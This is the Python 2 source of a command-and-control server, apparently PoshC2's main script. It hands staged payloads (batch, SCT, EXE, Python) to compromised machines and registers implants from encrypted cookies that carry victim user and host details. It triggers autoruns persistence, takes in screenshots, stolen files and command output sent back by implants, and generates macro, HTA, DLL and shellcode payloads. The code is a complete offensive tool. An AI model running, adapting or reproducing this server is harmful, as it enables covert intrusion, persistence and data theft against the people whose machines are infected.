309 lines
12 KiB
Python
309 lines
12 KiB
Python
#!/usr/bin/env python
|
|
|
|
import argparse, os, sys, re, datetime, time, base64, BaseHTTPServer, re, logging, ssl, signal
|
|
|
|
from Implant import *
|
|
from Tasks import *
|
|
from Core import *
|
|
from Colours import *
|
|
from Help import *
|
|
from DB import *
|
|
from Payloads import *
|
|
from Config import *
|
|
from Cert import *
|
|
|
|
class MyHandler(BaseHTTPServer.BaseHTTPRequestHandler):
|
|
|
|
def signal_handler(signal, frame):
|
|
sys.exit(0)
|
|
|
|
signal.signal(signal.SIGINT, signal_handler)
|
|
|
|
def log_message(self, format, *args):
|
|
try:
|
|
useragent = str(self.headers['user-agent'])
|
|
except Exception as e:
|
|
useragent = "None"
|
|
|
|
open("%swebserver.log" % ROOTDIR, "a").write("%s - [%s] %s %s\n" %
|
|
(self.address_string(),self.log_date_time_string(),format%args, useragent))
|
|
|
|
|
|
def do_HEAD(s):
|
|
"""Respond to a HEAD request."""
|
|
s.server_version = ServerHeader
|
|
s.sys_version = ""
|
|
s.send_response(200)
|
|
s.send_header("Content-type", "text/html")
|
|
s.end_headers()
|
|
|
|
def do_GET(s):
|
|
"""Respond to a GET request."""
|
|
logging.info("GET request,\nPath: %s\nHeaders:\n%s\n", str(s.path), str(s.headers))
|
|
new_implant_url = get_newimplanturl()
|
|
s.cookieHeader = s.headers.get('Cookie')
|
|
QuickCommandURI = select_item("QuickCommand", "C2Server")
|
|
s.server_version = ServerHeader
|
|
s.sys_version = ""
|
|
if s.cookieHeader:
|
|
r = ""
|
|
else:
|
|
s.cookieHeader = "NONE"
|
|
# class Tasks()
|
|
|
|
# implant gets a new task
|
|
new_task = newTask(s.path)
|
|
|
|
if new_task:
|
|
s.send_response(200)
|
|
s.send_header("Content-type", "text/html")
|
|
s.end_headers()
|
|
s.wfile.write(new_task)
|
|
|
|
elif ("%s_bs" % QuickCommandURI) in s.path:
|
|
filename = "%spayload.bat" % (PayloadsDirectory)
|
|
with open(filename, 'rb') as f:
|
|
content = f.read()
|
|
s.send_response(200)
|
|
s.send_header("Content-type", "text/html")
|
|
s.end_headers()
|
|
s.wfile.write(content)
|
|
|
|
elif ("%s_rg" % QuickCommandURI) in s.path:
|
|
filename = "%srg_sct.xml" % (PayloadsDirectory)
|
|
with open(filename, 'rb') as f:
|
|
content = f.read()
|
|
s.send_response(200)
|
|
s.send_header("Content-type", "text/html")
|
|
s.end_headers()
|
|
s.wfile.write(content)
|
|
|
|
elif ("%s_cs" % QuickCommandURI) in s.path:
|
|
filename = "%scs_sct.xml" % (PayloadsDirectory)
|
|
with open(filename, 'rb') as f:
|
|
content = f.read()
|
|
s.send_response(200)
|
|
s.send_header("Content-type", "text/html")
|
|
s.end_headers()
|
|
s.wfile.write(content)
|
|
|
|
elif ("%s_py" % QuickCommandURI) in s.path:
|
|
filename = "%saes.py" % (PayloadsDirectory)
|
|
with open(filename, 'rb') as f:
|
|
content = f.read()
|
|
s.send_response(200)
|
|
s.send_header("Content-type", "text/plain")
|
|
s.end_headers()
|
|
s.wfile.write(content)
|
|
|
|
elif ("%s_ex" % QuickCommandURI) in s.path:
|
|
filename = "%sPosh32.exe" % (PayloadsDirectory)
|
|
with open(filename, 'rb') as f:
|
|
content = f.read()
|
|
s.send_response(200)
|
|
s.send_header("Content-type", "application/x-msdownload")
|
|
s.end_headers()
|
|
s.wfile.write(content)
|
|
# class Implant()
|
|
# register new implant
|
|
elif new_implant_url in s.path and s.cookieHeader.startswith("SessionID"):
|
|
implant_type = "Normal"
|
|
if s.path == ("%s?p" % new_implant_url):
|
|
implant_type = "Proxy"
|
|
if s.path == ("%s?d" % new_implant_url):
|
|
implant_type = "Daisy"
|
|
if s.path == ("%s?m" % new_implant_url):
|
|
implant_type = "OSX"
|
|
|
|
if implant_type == "OSX":
|
|
cookieVal = (s.cookieHeader).replace("SessionID=","")
|
|
decCookie = decrypt(KEY, cookieVal)
|
|
IPAddress = "%s:%s" % (s.client_address[0],s.client_address[1])
|
|
Domain,User,Hostname,Arch,PID,Proxy = decCookie.split(";")
|
|
newImplant = Implant(IPAddress, implant_type, Domain, User, Hostname, Arch, PID, Proxy)
|
|
newImplant.save()
|
|
newImplant.display()
|
|
responseVal = encrypt(KEY, newImplant.PythonCore)
|
|
|
|
s.send_response(200)
|
|
s.send_header("Content-type", "text/html")
|
|
s.end_headers()
|
|
s.wfile.write(responseVal)
|
|
else:
|
|
try:
|
|
cookieVal = (s.cookieHeader).replace("SessionID=","")
|
|
decCookie = decrypt(KEY, cookieVal)
|
|
Domain,User,Hostname,Arch,PID,Proxy = decCookie.split(";")
|
|
IPAddress = "%s:%s" % (s.client_address[0],s.client_address[1])
|
|
newImplant = Implant(IPAddress, implant_type, Domain,User, Hostname, Arch, PID, Proxy)
|
|
newImplant.save()
|
|
newImplant.display()
|
|
newImplant.autoruns()
|
|
responseVal = encrypt(KEY, newImplant.C2Core)
|
|
|
|
s.send_response(200)
|
|
s.send_header("Content-type", "text/html")
|
|
s.end_headers()
|
|
s.wfile.write(responseVal)
|
|
except Exception as e:
|
|
print "Decryption error: %s" % e
|
|
s.send_response(404)
|
|
s.send_header("Content-type", "text/html")
|
|
s.end_headers()
|
|
s.wfile.write(HTTPResponse)
|
|
else:
|
|
s.send_response(404)
|
|
s.send_header("Content-type", "text/html")
|
|
s.end_headers()
|
|
HTTPResponsePage = select_item("HTTPResponse", "C2Server")
|
|
if HTTPResponsePage:
|
|
s.wfile.write(HTTPResponsePage)
|
|
else:
|
|
s.wfile.write(HTTPResponse)
|
|
|
|
def do_POST(s):
|
|
"""Respond to a POST request."""
|
|
try:
|
|
s.server_version = ServerHeader
|
|
s.sys_version = ""
|
|
content_length = int(s.headers['Content-Length'])
|
|
s.cookieHeader = s.headers.get('Cookie')
|
|
cookieVal = (s.cookieHeader).replace("SessionID=","")
|
|
post_data = s.rfile.read(content_length)
|
|
logging.info("POST request,\nPath: %s\nHeaders:\n%s\n\nBody:\n%s\n", str(s.path), str(s.headers), post_data)
|
|
|
|
now = datetime.datetime.now()
|
|
result = get_implants_all()
|
|
for i in result:
|
|
implantID = i[0]
|
|
RandomURI = i[1]
|
|
Hostname = i[3]
|
|
encKey = i[5]
|
|
Domain = i[11]
|
|
if RandomURI in s.path and cookieVal:
|
|
decCookie = decrypt(encKey, cookieVal)
|
|
print Colours.GREEN
|
|
print "Command returned against implant %s on host %s %s (%s)" % (implantID,Hostname,Domain,now.strftime("%m/%d/%Y %H:%M:%S"))
|
|
#print decCookie,Colours.END
|
|
rawoutput = decrypt_bytes_gzip(encKey, post_data[1500:])
|
|
outputParsed = re.sub(r'123456(.+?)654321', '', rawoutput)
|
|
outputParsed = outputParsed.rstrip()
|
|
|
|
if "ModuleLoaded" in decCookie:
|
|
print "Module loaded sucessfully"
|
|
insert_completedtask(RandomURI, decCookie, "Module loaded sucessfully", "")
|
|
if "get-screenshot" in decCookie.lower() or "screencapture" in decCookie.lower():
|
|
try:
|
|
decoded = base64.b64decode(outputParsed)
|
|
filename = i[3] + "-" + now.strftime("%m%d%Y%H%M%S_"+randomuri())
|
|
output_file = open('%s%s.png' % (DownloadsDirectory,filename), 'wb')
|
|
print "Screenshot captured: %s%s.png" % (DownloadsDirectory,filename)
|
|
insert_completedtask(RandomURI, decCookie, "Screenshot captured: %s%s.png" % (DownloadsDirectory,filename), "")
|
|
output_file.write(decoded)
|
|
output_file.close()
|
|
except Exception as e:
|
|
insert_completedtask(RandomURI, decCookie, "Screenshot not captured, the screen could be locked or this user does not have access to the screen!", "")
|
|
print "Screenshot not captured, the screen could be locked or this user does not have access to the screen!"
|
|
elif (decCookie.lower().startswith("$shellcode64")) or (decCookie.lower().startswith("$shellcode64")):
|
|
insert_completedtask(RandomURI, decCookie, "Upload shellcode complete", "")
|
|
print "Upload shellcode complete"
|
|
elif "download-file" in decCookie.lower():
|
|
try:
|
|
rawoutput = decrypt_bytes_gzip(encKey, (post_data[1500:]))
|
|
filename = decCookie.lower().replace("download-file ","")
|
|
filename = filename.replace("..","")
|
|
filename = filename.rsplit('\\', 1)[-1]
|
|
filename = filename.rstrip('\x00')
|
|
chunkNumber = rawoutput[:5]
|
|
totalChunks = rawoutput[6:10]
|
|
print "Download file part %s of %s : %s" % (chunkNumber,totalChunks,filename)
|
|
insert_completedtask(RandomURI, decCookie, "Download file part %s of %s : %s" % (chunkNumber,totalChunks,filename), "")
|
|
output_file = open('%s/downloads/%s' % (ROOTDIR,filename), 'a')
|
|
output_file.write(rawoutput[10:])
|
|
output_file.close()
|
|
except Exception as e:
|
|
insert_completedtask(RandomURI, decCookie, "Error downloading file %s " % e, "")
|
|
print "Error downloading file %s " % e
|
|
|
|
else:
|
|
insert_completedtask(RandomURI, decCookie, outputParsed, "")
|
|
print Colours.GREEN
|
|
print outputParsed,Colours.END
|
|
except Exception as e:
|
|
e = ""
|
|
finally:
|
|
s.send_response(200)
|
|
s.send_header("Content-type", "text/html")
|
|
s.end_headers()
|
|
s.wfile.write(default_response())
|
|
|
|
if __name__ == '__main__':
|
|
server_class = BaseHTTPServer.HTTPServer
|
|
httpd = server_class((HOST_NAME, PORT_NUMBER), MyHandler)
|
|
try:
|
|
if os.name == 'nt':
|
|
os.system('cls')
|
|
else:
|
|
os.system('clear')
|
|
except Exception as e:
|
|
print "cls"
|
|
print chr(27) + "[2J"
|
|
print Colours.GREEN, logo
|
|
print Colours.END,""
|
|
|
|
|
|
# KeyFile = None, CertFile = None, ClientCertCAs = None
|
|
if os.path.isfile(DB):
|
|
print "Using existing database / project",Colours.GREEN
|
|
else:
|
|
print "Initializing new project folder and database",Colours.GREEN
|
|
print ""
|
|
directory = os.path.dirname(ROOTDIR)
|
|
if not os.path.exists(directory):
|
|
os.makedirs(directory)
|
|
os.makedirs("%s/downloads" % directory)
|
|
os.makedirs("%s/reports" % directory)
|
|
os.makedirs("%s/payloads" % directory)
|
|
initializedb()
|
|
setupserver(HostnameIP,gen_key(),DomainFrontHeader,DefaultSleep,KillDate,HTTPResponse,ROOTDIR,ServerPort,QuickCommand,DownloadURI,"","","",Sounds,APIKEY,MobileNumber,URLS,SocksURLS,Insecure,UserAgent,Referer)
|
|
|
|
C2 = get_c2server_all()
|
|
newPayload = Payloads(C2[5], C2[2], C2[1], C2[3], C2[8], C2[12],
|
|
C2[13], C2[11], "", "", C2[19], C2[20],
|
|
C2[21], get_newimplanturl(), PayloadsDirectory)
|
|
|
|
newPayload.CreateRaw()
|
|
newPayload.CreateDlls()
|
|
newPayload.CreateShellcode()
|
|
newPayload.CreateSCT()
|
|
newPayload.CreateHTA()
|
|
newPayload.CreateCS()
|
|
newPayload.CreateMacro()
|
|
newPayload.CreateEXE()
|
|
|
|
create_self_signed_cert(ROOTDIR)
|
|
newPayload.CreatePython()
|
|
newPayload.CreatePythonAES()
|
|
newPayload.WriteQuickstart( directory + '/quickstart.txt' )
|
|
|
|
print ""
|
|
print "CONNECT URL: "+select_item("HostnameIP", "C2Server")+get_newimplanturl(),Colours.GREEN
|
|
print "WEBSERVER Log: %swebserver.log" % ROOTDIR
|
|
KEY = get_baseenckey()
|
|
print ""
|
|
print time.asctime(), "PoshC2 Server Started - %s:%s" % (HOST_NAME, PORT_NUMBER)
|
|
print Colours.END
|
|
|
|
if (os.path.isfile("%sposh.crt" % ROOTDIR)) and (os.path.isfile("%sposh.key" % ROOTDIR)):
|
|
httpd.socket = ssl.wrap_socket (httpd.socket, keyfile="%sposh.key" % ROOTDIR, certfile="%sposh.crt" % ROOTDIR, server_side=True)
|
|
else:
|
|
raise ValueError("Cannot find the certificate files")
|
|
#logging.basicConfig(level=logging.WARNING) # DEBUG,INFO,WARNING,ERROR,CRITICAL
|
|
|
|
try:
|
|
httpd.serve_forever()
|
|
except KeyboardInterrupt:
|
|
pass
|
|
httpd.server_close()
|
|
print time.asctime(), "PoshC2 Server Stopped - %s:%s" % (HOST_NAME, PORT_NUMBER)
|